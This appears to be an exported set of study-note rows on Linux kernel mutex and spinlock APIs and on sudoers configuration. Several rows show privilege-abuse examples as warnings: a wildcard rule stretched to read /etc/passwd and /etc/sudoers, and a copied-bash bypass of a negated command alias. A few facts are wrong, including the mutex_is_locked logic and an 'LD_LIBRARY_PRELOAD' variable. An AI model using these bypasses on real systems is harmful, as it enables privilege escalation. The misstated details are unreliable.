mutex, on the other hand, is a lock held by a task. text txt 2024-07-28 10:09:24.393637 -5110 1478 A mutex is a simple data structure that embeds a wait queue to put contenders to sleep and a spinlock to protect access to this wait queue. text txt 2024-07-28 10:09:24.415589 -5111 1478 struct mutex {\n atomic_long_t owner;\n spinlock_t wait_lock;\n#ifdef CONFIG_MUTEX_SPIN_ON_OWNER\n struct optimistic_spin_queue osq; /* Spinner MCS lock */\n#endif\n struct list_head wait_list;\n [...]\n}; code txt 2024-07-28 10:09:24.437685 -5112 1478 The mutex APIs can be found in the `include/linux/mutex.h` header file. text txt 2024-07-28 10:09:24.459082 -5114 1479 static DEFINE_MUTEX(my_mutex); code txt 2024-07-28 10:09:25.187552 -5115 1479 A second approach the kernel offers is dynamic initialization, possible thanks to a call to a `__mutex_init()` low-level function, which is actually wrapped by a much more user-friendly macro, `mutex_init()`. text txt 2024-07-28 10:09:25.209548 -5116 1479 struct fake_data {\n struct i2c_client *client;\n u16 reg_conf;\n struct mutex mutex;\n}; text txt 2024-07-28 10:09:25.231752 -5117 1479 static int fake_probe(struct i2c_client *client)\n{\n [...]\n mutex_init(&data->mutex);\n [...]\n} code txt 2024-07-28 10:09:25.253631 -5118 1480 Acquiring (aka locking) a mutex is as simple as calling one of the following three functions: text txt 2024-07-28 10:09:25.841099 -5119 1480 void mutex_lock(struct mutex *lock);\nint mutex_lock_interruptible(struct mutex *lock);\nint mutex_lock_killable(struct mutex *lock); code txt 2024-07-28 10:09:25.862178 -5120 1480 With `mutex_lock()`, your task will be put in an uninterruptible sleep state (`TASK_UNINTERRUPTIBLE`) while waiting for the mutex to be released if it is held by another task. text txt 2024-07-28 10:09:25.883232 -5121 1480 `mutex_lock_interruptible()` will put your task in an interruptible sleep state, in which the sleep can be interrupted by any signal. text txt 2024-07-28 10:09:25.905289 -5122 1480 `mutex_lock_killable()` will allow your sleeping task to be interrupted only by signals that actually kill the task. text txt 2024-07-28 10:09:25.925568 -5123 1480 Each of these functions returns 0 if the lock has been acquired successfully.\nMoreover, interruptible variants return `-EINTR` when the locking attempt was interrupted by a signal. text txt 2024-07-28 10:09:25.947379 -5124 1481 Whichever locking function is used, only the mutex owner should release the mutex using `mutex_unlock()`: text txt 2024-07-28 10:09:26.242968 -5125 1481 void mutex_unlock(struct mutex *lock); code txt 2024-07-28 10:09:26.266083 -5126 1482 static bool mutex_is_locked(struct mutex *lock); code txt 2024-07-28 10:09:26.545077 -5127 1482 This function simply checks if the mutex owner is `NULL` and returns `true` if so or `false` otherwise. text txt 2024-07-28 10:09:26.565117 -5128 1483 The most important ones are enumerated in the `include/linux/mutex.h` kernel mutex API header file, and some of these are outlined here: text txt 2024-07-28 10:09:26.960567 -5129 1483 * A mutex can be held by one and only one task at a time.\n* Once held, the mutex can only be unlocked by the owner which is the task that locked it.\n* Multiple, recursive, or nested locks/unlocks are not allowed.\n* A mutex object must be initialized via the API. It must not be initialized by copying nor by using `memset()`, just as held mutexes must not be reinitialized.\n* A task that holds a mutex may not exit, just as memory areas where held locks reside must not be freed.\n* Mutexes may not be used in hardware or software interrupt contexts such as tasklets and timers. text txt 2024-07-28 10:09:26.982468 -5130 1483 All this makes mutexes suitable for the following cases: text txt 2024-07-28 10:09:27.003481 -5131 1483 * Locking only in the user context.\n* If the protected resource is not accessed from an IRQ handler and the operations need not be atomic. text txt 2024-07-28 10:09:27.024023 -5132 1484 It may be cheaper to use spinlocks for very small critical sections since the spinlock only suspends the scheduler and starts spinning, compared to the cost of using a mutex, which needs to suspend the current task and insert it into the mutex's wait queue, requiring the scheduler to switch to another task and rescheduling the sleeping task once the mutex is released. text txt 2024-07-28 10:09:27.244425 -5133 1485 Such methods try to acquire the lock and immediately return a status value, showing whether the lock has been successfully locked or not. text txt 2024-07-28 10:09:28.058646 -5134 1485 Both spinlock and mutex APIs provide a trylock method.\nThese are, respectively, `spin_trylock()` and `mutex_trylock()` text txt 2024-07-28 10:09:28.078896 -5135 1485 Both methods return 0 on failure (the lock is already locked) or 1 on success (lock acquired).\nThus, it makes sense to use these functions along with an if statement: text txt 2024-07-28 10:09:28.099012 -5136 1485 int mutex_trylock(struct mutex *lock) code txt 2024-07-28 10:09:28.119043 -5137 1485 `spin_trylock()` will lock the spinlock if it is not already locked, just as the `spin_lock()` method does.\nHowever, it immediately returns 0 without spinning in cases where the spinlock is already locked: text txt 2024-07-28 10:09:28.139847 -5138 1485 static DEFINE_SPINLOCK(foo_lock); text txt 2024-07-28 10:09:28.160116 -5139 1485 static void foo(void)\n{\n if (!spin_trylock(&foo_lock)) {\n /* Failure! the spinlock is already locked */\n return;\n } text txt 2024-07-28 10:09:28.181517 -5140 1485 /*\n * reaching this part of the code means that the\n * spinlock has been successfully locked\n */\n spin_unlock(&foo_lock);\n} code txt 2024-07-28 10:09:28.204092 -5141 1486 * OpenSolaris-based systems have `pfexec` and role-based access control.\n* HP has `pbrun`.\n* `sudo` on other Unix systems. text txt 2024-07-28 10:09:28.617866 -5142 1487 v1.8.8 is the least version.\nOlder than that need to immediately be upgraded by source or prebuilt packages. text txt 2024-07-28 10:09:28.84232 -5143 1488 sudo command code txt 2024-07-28 10:09:29.095767 -5144 1489 sudo -u user command code txt 2024-07-28 10:09:29.343246 -5145 1490 When group ID is desired, put a escaped hash mark before the GID, unless you're on `tcsh` shell. text txt 2024-07-28 10:09:29.609321 -5146 1490 sudo -g group command\nsudo -g \\\\#gid command code txt 2024-07-28 10:09:29.630642 -5147 1491 sudo rules are in `/etc/sudoers` but should never be editted by hand.\n`visudo` should always be used to change sudo rules. text txt 2024-07-28 10:09:29.845378 -5148 1492 `username` might also be a system group, or an alias defined within sudoers.\n`host` is the hostname of the system that this rule applies to when sudoers file is shared across multiple systems.\n`command` lists the full path to each command this rule applies to.\n`ALL` matches every possible option for each of these parts. text txt 2024-07-28 10:09:30.159264 -5149 1492 username host = command code txt 2024-07-28 10:09:30.179259 -5150 1493 Most commonly ALL is ste as `host` because most system administrators configure sudo on per-host basis.\nSeparately managing every server and defining the server as `ALL` means "this server", but it's best practice to put the server name as `host`. text txt 2024-07-28 10:09:30.385843 -5151 1494 sofia,nora,lucy ubuntu = /user/bin/mount, /usr/bin/umount code txt 2024-07-28 10:09:30.651312 -5152 1494 Users `sofia`, `nora`, and `lucy` can run `mount` and `umount` commands on the server `ubuntu`. text txt 2024-07-28 10:09:30.6722 -5153 1495 Some applications must run by specific users to work correctly.\nA user other than `root` can be specified in parenthesis, if sudo policy permits it. text txt 2024-07-28 10:09:30.98619 -5154 1495 emma debian = (oracle) ALL code txt 2024-07-28 10:09:31.007528 -5155 1495 User `emma` can run any commands on the server `debian`, but only as the user `oracle`. text txt 2024-07-28 10:09:31.027916 -5156 1496 Yes, separate rules on each line, but separate users, hosts and commands by comman on one line as much as possible. text txt 2024-07-28 10:09:31.298921 -5157 1496 elena www = (oracle) ALL\nelena www = /usr/bin/mount, /usr/bin/umount code txt 2024-07-28 10:09:31.31998 -5158 1497 End a line with a backslash to continue rules on the next line. text txt 2024-07-28 10:09:31.607494 -5159 1497 emma,elena,sofia www,dns,mail = /usr/bin/mount, /usr/bin/umount, \\\\\n /usr/bin/fdisk code txt 2024-07-28 10:09:31.629187 -5160 1498 Last matching rule wins.\nIf two rules conflict, the last matching rule wins. text txt 2024-07-28 10:09:31.85044 -5161 1499 Negation operator `!` can be used to apply to everything except a specific user, host ro command.\nNegation operator `!` can also be used to turn off options. text txt 2024-07-28 10:09:32.057488 -5162 1500 Last sudoers line must be an empty line, otherwise visudo comlains it. text txt 2024-07-28 10:09:32.233369 -5163 1501 Default editor for `visudo` is `vi` which is in most of the systems are linked to `vim`. text txt 2024-07-28 10:09:32.530324 -5164 1501 export EDITOR=/usr/bin/vim\nvisudo code txt 2024-07-28 10:09:32.550844 -5165 1502 `visudo` asks user to edit file again by pressing `e` and go back into file before overwriting /etc/sudoers file happens. text txt 2024-07-28 10:09:32.719558 -5166 1503 `visudo` asks user to press `x` and remove recent changes and then retain old policies. text txt 2024-07-28 10:09:32.927899 -5167 1504 The last matching rule wins, so the last rule is strongly recommended to give your account the right to run visudo. text txt 2024-07-28 10:09:33.193277 -5168 1504 brian ALL = /usr/bin/visudo code txt 2024-07-28 10:09:33.214311 -5169 1505 Only root and users that can run ALL commands on the current host can use -U. text txt 2024-07-28 10:09:33.486804 -5170 1505 sudo -l code txt 2024-07-28 10:09:33.509415 -5171 1506 Lists and aliases simplify repetition of rule items using wildcards.\nWildcards can be used to match hosts, filesystem paths, and command-line arguments. text txt 2024-07-28 10:09:33.894097 -5172 1506 sofia dns? = ALL\nelena mail[1-4] = ALL\nclaire www[a-z]* = ALL\npete ALL = /usr/sbin/*, /usr/local/sbin/* code txt 2024-07-28 10:09:33.91509 -5173 1507 Asterisk matches everything and can give users the possibility of adding multiple arguments and breaking the responsibility chain of commands. text txt 2024-07-28 10:09:34.315148 -5174 1507 evil ALL = /usr/bin/cat /var/log/messages* code txt 2024-07-28 10:09:34.335113 -5175 1507 This can be extended like below, which is definitely not intended: text txt 2024-07-28 10:09:34.354488 -5176 1507 sudo cat /var/log/messages /etc/passwd /etc/sudoers code txt 2024-07-28 10:09:34.374825 -5177 1508 Use limited wildcards to match specific characters, like using `[0-9]` instead of `*`. text txt 2024-07-28 10:09:34.645264 -5178 1508 alisa ALL = /usr/bin/tail -f /var/log/messages, /usr/bin/tail -f /var/log/messages?? code txt 2024-07-28 10:09:34.666272 -5179 1509 rosa ALL = /usr/bin/ss -[tuSlnp] code txt 2024-07-28 10:09:34.891053 -5180 1510 Two double quotes with no space between them tell sudoers to only match the empty string. text txt 2024-07-28 10:09:35.179406 -5181 1510 sara ALL = /usr/bin/dmesg "" code txt 2024-07-28 10:09:35.199681 -5182 1511 You can use aliases to refer to the user running the command, the hosts sudo is run on, the user the command is run as, or the commands being run. text txt 2024-07-28 10:09:35.642404 -5183 1511 Alias names can only include capital letters, numbers, and underscores.\nThe name must begin with a capital letter. text txt 2024-07-28 10:09:35.663144 -5184 1511 You must define aliases before using them. text txt 2024-07-28 10:09:35.683822 -5185 1511 Cmnd_Alias NETWORK = /usr/bin/ip, /usr/bin/ss\nUser_Alias DEVOPS = tatiana, alisa, christina\nDEVOPS ALL = NETWORK code txt 2024-07-28 10:09:35.705639 -5186 1512 1. **Operating System Groups:** group names start with percent sign `%` in front of them.\n2. **User ID**: You can use user ID numbers in sudoers by putting a hash mark `#` before them.\n3. **Group ID:** If you don't want to use group names, use GID numbers prefaced by `%#`.\n4. **NetGroup:** Stop using NIS, but in case you had to use it, put a plus sign `+` in front of the user names.\n5. **Non-Unix Group:** If sudo has necessary plugins to use user management sources beyond Unix systems, preface users with `:`. Users can be enclosed with double quotes.\n6. **Non-Unix Group ID:** Similar to previous but preface groups with `%:#`.\n7. **User Alias:** List of system users can be aliased together and be named. text txt 2024-07-28 10:09:35.995746 -5187 1513 **Operating System Groups:** group names start with percent sign `%` in front of them. text txt 2024-07-28 10:09:36.373639 -5188 1513 %dba db1 = (oracle) /opt/oracle/bin/* code txt 2024-07-28 10:09:36.394687 -5189 1513 Everyone in the `dba` group can run all the commands in the directory `/opt/oracle/bin`, as `oracle`, on the server `db1`. text txt 2024-07-28 10:09:36.416451 -5190 1513 Some operating systems have a system group for users who can become `root`, like `admin` on Ubuntu, and who may use the root password, like `wheel` on BSD-based systems. text txt 2024-07-28 10:09:36.437525 -5191 1513 members of `wheel` can already use `su` to become `root`.\nBut this lets people acclimate to using sudo in their day to day work. text txt 2024-07-28 10:09:36.459748 -5192 1514 **User ID:** You can use user ID numbers in sudoers by putting a hash mark `#` before them. text txt 2024-07-28 10:09:36.723932 -5193 1514 #1000 ALL = /usr/bin/reboot code txt 2024-07-28 10:09:36.744971 -5194 1515 **Group ID:** If you don't want to use group names, use GID numbers prefaced by `%#`. text txt 2024-07-28 10:09:37.027153 -5195 1515 On a traditional BSD system, `wheel` is group 0. text txt 2024-07-28 10:09:37.047627 -5196 1515 %#0 ALL = ALL code txt 2024-07-28 10:09:37.06801 -5197 1516 A user alias is a list of system users. text txt 2024-07-28 10:09:37.542126 -5198 1516 All user alias definitions start with `User_Alias`. text txt 2024-07-28 10:09:37.563216 -5199 1516 User_Alias SYSADMINS = rosa\nUser_Alias MONITORING = alice, christiana code txt 2024-07-28 10:09:37.584181 -5200 1516 Any type of usernames can be speicified in user aliases. text txt 2024-07-28 10:09:37.604074 -5201 1516 User_Alias #1000, %#1000, %devops code txt 2024-07-28 10:09:37.625502 -5202 1517 Sudo determines the name of the local host by running hostname.\nIt does not rely on DNS, /etc/hosts, LDAP, or any other name directory. text txt 2024-07-28 10:09:37.997272 -5203 1517 This means that your hostnames in sudoers must match the hostname set on the local machine.\nChange the hostname and sudo breaks. text txt 2024-07-28 10:09:38.018882 -5204 1517 hostname code txt 2024-07-28 10:09:38.038452 -5205 1518 * Host names\n* IP addresses text txt 2024-07-28 10:09:38.389478 -5206 1518 peter www = ALL\nmike 192.0.2.1 = ALL\nhank 192.0.2.0/24 = ALL\njake 198.42.100.0/255.255.255.0 = ALL code txt 2024-07-28 10:09:38.411473 -5207 1519 Host_Alias DMZ = 192.0.2.0/24, 192.42.100.0/255.255.255.0, www\nlucy DMZ = all code txt 2024-07-28 10:09:38.674063 -5208 1520 All types of usernames can also be applied to run-as user list. text txt 2024-07-28 10:09:38.954885 -5209 1520 christina db[0-9] = (oracle,postgres,mysql) ALL\nrachel ALL = (%devops,%dbms) ALL code txt 2024-07-28 10:09:38.975096 -5210 1521 Runas_Alias DBMS = oracle, postgres, mysql\nrachel db[0-9] = (DBMS) ALL code txt 2024-07-28 10:09:39.220045 -5211 1522 kate ALL = /usr/bin/ip, /usr/bin/ss, /usr/bin/wpa_supplicant code txt 2024-07-28 10:09:39.482547 -5212 1523 Cmnd_Alias NETWORK = /usr/bin/ip, /usr/bin/ss, /usr/bin/wpa_supplicant\nkate ALL = NETWORK code txt 2024-07-28 10:09:39.721514 -5274 1554 *Linux*\nsudo sysctl kern.suid_dumpable 2\nsudo sysctl fs.suid_dumpable 2 code txt 2024-07-28 10:09:49.477689 -5213 1524 A tag appears before the command list, separated from the commands by a colon.\nTag names are all capitals, without any numbers or symbols.\nA tag affects all the commands in the list following the tag. text txt 2024-07-28 10:09:40.007956 -5214 1524 karen ALL = NOEXEC: ALL code txt 2024-07-28 10:09:40.02812 -5215 1525 **DO NOT USE NEGATION IN COMMAND LIST AND ALIASES!** text txt 2024-07-28 10:09:40.367618 -5216 1525 User_Alias ADMINS = %wheel, !kate\nADMINS ALL = ALL code txt 2024-07-28 10:09:40.38812 -5217 1525 The members of group wheel, with one exception, get full access to the system. text txt 2024-07-28 10:09:40.408885 -5218 1526 Excluding commands is a bad idea. There is no way to exclude all insecure commands. text txt 2024-07-28 10:09:40.801778 -5219 1526 Cmnd_Alias BECOME_ROOT = /usr/bin/sh, /usr/bin/bash, /usr/bin/su\n%wheel ALL = ALL, !BECOME_ROOT code txt 2024-07-28 10:09:40.822986 -5220 1526 cp /usr/bin/bash /tmp/bash\nsudo /tmp/bash\nid code txt 2024-07-28 10:09:40.843133 -5221 1527 * boolean\n* integer\n* list of integers\n* string text txt 2024-07-28 10:09:41.085339 -5222 1528 Boolean options affect sudo with their mere presence.\nDeactivate them by putting an exclamation point before them. text txt 2024-07-28 10:09:41.427483 -5223 1528 Some boolean options are on by default, even when they don't appear in sudoers. text txt 2024-07-28 10:09:41.449207 -5224 1528 Defaults option\nDefaults !option code txt 2024-07-28 10:09:41.470696 -5225 1529 Defaults insults\nDefaults !insults code txt 2024-07-28 10:09:41.716844 -5226 1530 Use an equal sign to separate the argument from the option name. text txt 2024-07-28 10:09:42.063661 -5227 1530 If an integer option sets a limit on sudo's behavior, these options let you disable a feature by setting the limit to zero. text txt 2024-07-28 10:09:42.084433 -5228 1530 Defaults option = number\nDefaults option = 0 code txt 2024-07-28 10:09:42.104537 -5229 1531 String options either hold file paths or simple text. text txt 2024-07-28 10:09:42.443127 -5230 1531 Text with special characters like spaces and exclamation mark should be quoted. text txt 2024-07-28 10:09:42.4638 -5231 1531 Paths do not need to be quoted. text txt 2024-07-28 10:09:42.484249 -5232 1531 Defaults option = "value with special characters!" code txt 2024-07-28 10:09:42.505528 -5233 1532 It's best practice to group options by function. text txt 2024-07-28 10:09:42.779541 -5234 1532 Defaults option1 = value1, option2 = value2 code txt 2024-07-28 10:09:42.799155 -5235 1533 All username types can be specified for options. text txt 2024-07-28 10:09:43.196916 -5236 1533 Defaults:christina option = value\nDefaults:sara,angela,lucy,kate option = value\nDefaults:group option = value;\nDefaults:#1000 option = value;\nDefaults:%devops options = value;\nDefaults:%#1000 options = value;\nDefaults:ADMINS option = value; code txt 2024-07-28 10:09:43.218645 -5237 1534 Use Defaults, an at symbol `@`, the list of hosts or host alias, then the option. text txt 2024-07-28 10:09:43.516729 -5238 1534 Defaults option = value\nDefaults@PRODUCTION option = value\nDefaults@192.168.1.0/24 option = value code txt 2024-07-28 10:09:43.53865 -5239 1535 Use Defaults, an exclamation symbol `!`, the list of commands or command alias, then the option. text txt 2024-07-28 10:09:43.856733 -5240 1535 Defaults option = value\nDefaults!/usr/bin/systemctl lecture = always code txt 2024-07-28 10:09:43.876636 -5241 1536 Use Defaults, a right angle bracket symbol `>` between `Defaults` and user list. text txt 2024-07-28 10:09:44.142035 -5242 1536 Defaults>operator lecture code txt 2024-07-28 10:09:44.161767 -5243 1537 Defaults passwd_tries = 5 code txt 2024-07-28 10:09:44.409912 -5244 1538 Defaults timestamp_timeout = 10 code txt 2024-07-28 10:09:44.65468 -5245 1539 Defaults timestamp_timeout = 0 code txt 2024-07-28 10:09:44.899343 -5246 1540 Defaults badpass_message = "Wrong password, try again!" code txt 2024-07-28 10:09:45.133289 -5247 1541 Defaults:USERS lecture\nDefaults:ADMINS !lecture code txt 2024-07-28 10:09:45.417582 -5248 1542 Defaults lecture_file = /etc/custom_lecture code txt 2024-07-28 10:09:45.626755 -5249 1543 Defaults:!/usr/bin/fdisk lecture = always, \\\\\n lecture_file = /etc/fdisk_lecture, \\\\\n timestamp_timeout = 0 code txt 2024-07-28 10:09:45.892284 -5250 1544 Restrict users either through restricting the commands, or by prohibiting commands from running other commands. text txt 2024-07-28 10:09:46.308658 -5251 1544 On modern Unix-like operating systems, `sudo` can stop programs from executing other programs.\n`sudo` uses the `LD_LIBRARY_PRELOAD` environment variable to disable program execution. text txt 2024-07-28 10:09:46.330423 -5252 1544 The `EXEC` and `NOEXEC` tags control whether a command may execute further commands.\n`EXEC`, the unwritten default, permits execution of commands by other commands.\n`NOEXEC` forbids execution. text txt 2024-07-28 10:09:46.351595 -5253 1544 alexis ALL = NOEXEC: /usr/bin/visudo code txt 2024-07-28 10:09:46.372186 -5254 1545 To configure editing permissions, use the sudoedit keyword and the full path to the target file. text txt 2024-07-28 10:09:46.652266 -5255 1545 jessica ALL = NOEXEC: sudoedit /etc/ssh/sshd_config code txt 2024-07-28 10:09:46.672341 -5256 1546 `sudoedit` looks for one of the indications that specify user specified editor, and when one is found, that editor will be used: text txt 2024-07-28 10:09:46.918865 -5257 1546 * `$SUDO_EDITOR`, `$VISUAL`, `$EDITOR`: `sudoedit` looks for evironment variables.\n* `Defaults editor = /usr/bin/vi`: `sudoedit` looks for `editor` option. This overrides environment variables.\n* `/usr/bin/vi`: When no options are found, `vi` is used by default. text txt 2024-07-28 10:09:46.939187 -5258 1547 Defaults editor = /usr/bin/vim code txt 2024-07-28 10:09:47.155259 -5259 1548 sudo -V code txt 2024-07-28 10:09:47.411038 -5260 1549 /etc/sudo.conf code txt 2024-07-28 10:09:47.658903 -5261 1550 * Plugin\n* Path\n* Set\n* Debug text txt 2024-07-28 10:09:47.882848 -5262 1551 Shared object files can be specified in full path. text txt 2024-07-28 10:09:48.190557 -5263 1551 Only one sudo policy engine can be used at a time. text txt 2024-07-28 10:09:48.21098 -5264 1551 Plugin sudoers_policy sudoers.so\nPlugin sudoers_io sudoers.so code txt 2024-07-28 10:09:48.230703 -5265 1552 The `NOEXEC` tag uses a shared library to replace the system calls that execute programs with system calls of the same name that return errors. text txt 2024-07-28 10:09:48.550236 -5266 1552 You should never need to use any noexec shared library other than the one included with `sudo`. text txt 2024-07-28 10:09:48.571398 -5267 1552 You'll normally use a path to do things like call an external password program. text txt 2024-07-28 10:09:48.59218 -5268 1552 Path noexec /usr/lib/sudo/sudo_noexec.so code txt 2024-07-28 10:09:48.612975 -5269 1553 Set commands are generally switches with predefined values such as true and false. text txt 2024-07-28 10:09:48.94566 -5270 1553 Sudo normally keeps sensitive security information in memory, and discards it as soon as possible.\nA core dump file from a crashed sudo process would contain all of that sensitive security information.\nSudo therefore disables core dumps by default. text txt 2024-07-28 10:09:48.967618 -5271 1553 Set disable_coredump false code txt 2024-07-28 10:09:48.987446 -5272 1554 *FreeBSD*\nsudo sysctl kern.sugid_coredump 1 code txt 2024-07-28 10:09:49.433893 -5273 1554 *OpenBSD*\nsudo sysctl kern.nosuidcoredump 0 code txt 2024-07-28 10:09:49.456143 -5275 1555 * `$TERM`\n* `$PATH`\n* `$HOME`\n* `$MAIL`\n* `$SHELL`\n* `$LOGNAME`\n* `$USER`\n* `$USERNAME` text txt 2024-07-28 10:09:49.829255 -5276 1556 You can have as many `env_keep` statements as you need, and can match them to specific `user`, `host`, `command`, and `run-as` lists. text txt 2024-07-28 10:09:50.069928 -5277 1556 Defaults env_keep += "LANG LANGUAGE" code txt 2024-07-28 10:09:50.089456 -5278 1557 The `env_reset` option tells `sudo` to remove all environment variables except a trusted few. It's set by default. Don't disable it. text txt 2024-07-28 10:09:50.3924 -5279 1557 This will definitely cause privilege escalation. text txt 2024-07-28 10:09:50.413015 -5280 1557 Defaults !env_reset code txt 2024-07-28 10:09:50.433286 -5281 1558 Defaults env_delete += "LD_LIBRARY_PRELOAD" code txt 2024-07-28 10:09:50.713477 -5282 1558 Users retain their entire environment, except for `LD_LIBRARY_PRELOAD`. text txt 2024-07-28 10:09:50.735107 -5283 1559 Use the `SETENV` and `NOSETENV` tags on commands to let the users ask `sudo` to not alter their environment variables. text txt 2024-07-28 10:09:51.406556 -5284 1559 `SETENV` tag permits users to keep their environment on request: text txt 2024-07-28 10:09:51.426695 -5285 1559 Users must specifically ask `sudo` to not change their environment by using `-E` flag. text txt 2024-07-28 10:09:51.447091 -5286 1559 Without the `–E` flag, `sudo` will perform its standard environment stripping despite the presence of `NOSETENV` in sudoers. text txt 2024-07-28 10:09:51.467326 -5287 1559 Use the tag `NOSETENV` to override a previous `SETENV`. text txt 2024-07-28 10:09:51.487575 -5288 1559 julia db1 = (mysql) SETENV: /opt/mysql/bin/*\njulia db1 = (mysql) NOSETENV: /opt/mysql/bin/secure_install code txt 2024-07-28 10:09:51.508351 -5289 1559 On the machine `db1`, `julia` can use her own environment to run MySQL commands as `mysql` user. text txt 2024-07-28 10:09:51.529622 -5290 1559 sudo -E -u mysql /opt/mysql/bin/mysql code txt 2024-07-28 10:09:51.551275 -5291 1559 Update sudoers policy in production once she understands what she needs. text txt 2024-07-28 10:09:51.572055 -5292 1559 Defaults:julia setenv code txt 2024-07-28 10:09:51.592499 -5293 1559 `julia` can override her environment anywhere, provided she uses the `-E` flag with `sudo`. text txt 2024-07-28 10:09:51.612502 -5294 1560 Having `sudo` initialize an environment as the target user is the best way to manage application servers highly dependent on their startup environment. text txt 2024-07-28 10:09:51.942066 -5295 1560 Many Java server-side applications take their configuration from environment variables, and those variables might not be correct in your personal environment.\nBy configuring that environment in a single account, you eliminate one threat to the application's stability. text txt 2024-07-28 10:09:51.962136 -5296 1560 sudo -i /usr/bin/command code txt 2024-07-28 10:09:51.98182 -5297 1561 You can use `SUDO_USER` in log messages. text txt 2024-07-28 10:09:52.314582 -5298 1561 * `SUDO_COMMAND`\n* `SUDO_USER`\n* `SUDO_UID`\n* `SUDO_GID` text txt 2024-07-28 10:09:52.336138 -5299 1561 The `SUDO_COMMAND` variable is set to the exact command you ran under `sudo` to start this session.\n`SUDO_USER` gives your original username.\n`SUDO_UID` and `SUDO_GID` give your original user ID and primary group ID. text txt 2024-07-28 10:09:52.35713 -5300 1562 Bad things can happen when commands like `passwd` are not ran from their original location in `PATH`. text txt 2024-07-28 10:09:52.641856 -5301 1562 Defaults secure_path = "/bin /usr/bin /usr/local/bin" code txt 2024-07-28 10:09:52.661775 -5302 1563 Defaults env_file = /etc/sudoenv code txt 2024-07-28 10:09:53.068407 -5303 1563 */etc/sudoenv*\nFTP_PROXY=http://proxyhost:8080\nftp_proxy=http://proxyhost:8080\nHTTP_PROXY=http:// proxyhost:8080\nhttp_proxy=http:// proxyhost:8080 code txt 2024-07-28 10:09:53.089674 -5304 1563 `sudo` adds these environment variables before stripping out the environment, so list any added variables in an `env_keep` sudoers rule as well. text txt 2024-07-28 10:09:53.109842 -5305 1564 **NOTE: DO NOT DO THIS!!!** text txt 2024-07-28 10:09:53.519291 -5306 1564 Defaults:ADMINS shell_noargs code txt 2024-07-28 10:09:53.54027 -5307 1564 You can simulate `shell_noargs` on the command line by using the `-s` flag. text txt 2024-07-28 10:09:53.561434 -5308 1564 sudo -s code txt 2024-07-28 10:09:53.582321 -5309 1565 **NOTE: DO NOT DO THIS!!!** text txt 2024-07-28 10:09:53.866495 -5310 1565 sudo su -m code txt 2024-07-28 10:09:53.887026 -5311 1566 Use the `askpass` path in `sudo.conf` file: text txt 2024-07-28 10:09:54.178284 -5312 1566 Path askpass /usr/bin/openssh-askpass code txt 2024-07-28 10:09:54.198421 -5313 1566 When `sudo` needs a password and doesn't have a terminal to ask for one, it uses the `askpass` setting from `sudo.conf`. text txt 2024-07-28 10:09:54.218206 -5314 1567 Defaults requiretty code txt 2024-07-28 10:09:54.513536 -5315 1567 The requiretty option tells sudo to only work if the command is run in a terminal.\nEnabling this option in sudoers means that programs cannot run without a terminal. text txt 2024-07-28 10:09:54.533304 -5316 1568 openssl dgst -sha224 /usr/bin/passwd code txt 2024-07-28 10:09:54.769163 -5317 1569 openssl list --digest-commands code txt 2024-07-28 10:09:55.079105 -5318 1569 * `SHA-224` (this is good enough)\n* `SHA-256`\n* `SHA-384`\n* `SHA-512` text txt 2024-07-28 10:09:55.099357 -5319 1570 If the generated digest matches the digest in the sudoers rule, `sudo` will run the command.\nOtherwise, you'll get the generic **"not allowed"** message. text txt 2024-07-28 10:09:55.416566 -5320 1570 jeana ALL = sha224:754740695bf233b8e8c9e76e64e09afe630052a26f3f6260657eb00d /usr/bin/passwd code txt 2024-07-28 10:09:55.437656 -5321 1571 Cmnd_Alias FREEBSD_SENDMAIL = sha224:53AD... /usr/bin/sendmail\nCmnd_Alias LINUX_SENDMAIL = sha224:75CB... /usr/bin/sendmail\nCmnd_Alias SENDMAIL = FREEBSD_SENDMAIL, LINUX_SENDMAIL code txt 2024-07-28 10:09:55.700691 -5322 1572 * Do not exclude commands from an alias. Users can easily bypass command list.\n* Use the `NOEXEC` tag by default in list of commands that must run other commands.\n* Use aliases to users, hosts, run-as, and commands settings.\n* Specifically express permissions for users and avoid general rules as possible.\n* Do not give root-level privileges to shell scripts, which regularly call other programs. text txt 2024-07-28 10:09:55.973464 -5323 1573 Sudo still checks the local host name, and if the sudoers rule happens to match the local name, the rule matches.\nIf the name doesn't match, sudo uses DNS and compares each rule to the server's fully qualified domain name. text txt 2024-07-28 10:09:56.238908 -5324 1573 Defaults fqdn code txt 2024-07-28 10:09:56.260321 -5325 1574 Rather than using the short hostname www, you'll need the full hostname. text txt 2024-07-28 10:09:56.503924 -5326 1574 %devops www.example.com /usr/bin/passwd [A-z]*, !/usr/bin/passwd root code txt 2024-07-28 10:09:56.524314 -5327 1575 When the privileged users change the local host's name. text txt 2024-07-28 10:09:56.72187 -5328 1576 Use different subnets for different server roles, and define subnets as hosts. text txt 2024-07-28 10:09:56.987399 -5329 1576 Host_Alias WEBSERVERS = 192.0.2.0/24\nHost_Alias DBSERVERS = 192.0.3.0/24 code txt 2024-07-28 10:09:57.008571 -5330 1577 #include /etc/sudoers.local code txt 2024-07-28 10:09:57.217777 -5331 1578 #include /etc/sudoers.%h code txt 2024-07-28 10:09:57.475719 -5332 1578 On the machine `www` sudo would look for a file called `/etc/sudoers.www`. text txt 2024-07-28 10:09:57.496329 -5333 1579 The idea is that you can have a central, standard sudoers policy, and then copy additional policies to a machine based on the machine's function.\nThe host is a webserver? Copy your standard file `001-sudoers.www` to the include directory.\nDatabase server? Copy the database file.\nBoth? Then copy both. text txt 2024-07-28 10:09:57.815446 -5334 1579 #includedir /etc/sudoers.d code txt 2024-07-28 10:09:57.83684 -5335 1580 `sudo` reads and processes these files in lexical order. text txt 2024-07-28 10:09:58.143861 -5336 1580 The easiest way to control sorting is to have all of your included files start with numbers, and include the leading zeroes. text txt 2024-07-28 10:09:58.163812 -5337 1580 001-sudoers.www\n002-sudoers.db1 code txt 2024-07-28 10:09:58.184404 -5338 1581 visudo only checks the integrity of one file, not everything included in the sudoers file. text txt 2024-07-28 10:09:58.401614 -5339 1582 visudo -cf /etc/sudoers.local\nvisudo -cf /etc/sudoers.d/001-sudoers.www code txt 2024-07-28 10:09:58.663095 -5340 1583 visudo -csf /etc/sudoers.local\nvisudo -csf /etc/sudoers.d/001-sudoers.www code txt 2024-07-28 10:09:58.889106 -5341 1584 visudo -csPOf /etc/sudoers.local\nvisudo -csPOf /etc/sudoers.d/001-sudoers.www code txt 2024-07-28 10:09:59.120637 -5342 1585 * **simple sudo log via syslogd**\n* **debugging log**\n* **full session capture log** text txt 2024-07-28 10:09:59.413614 -5343 1586 *old systems using SysV Init*\n/var/log/messages\n/var/log/syslog code txt 2024-07-28 10:09:59.762842 -5344 1586 *systems using systemd*\njournald code txt 2024-07-28 10:09:59.78445 -5345 1587 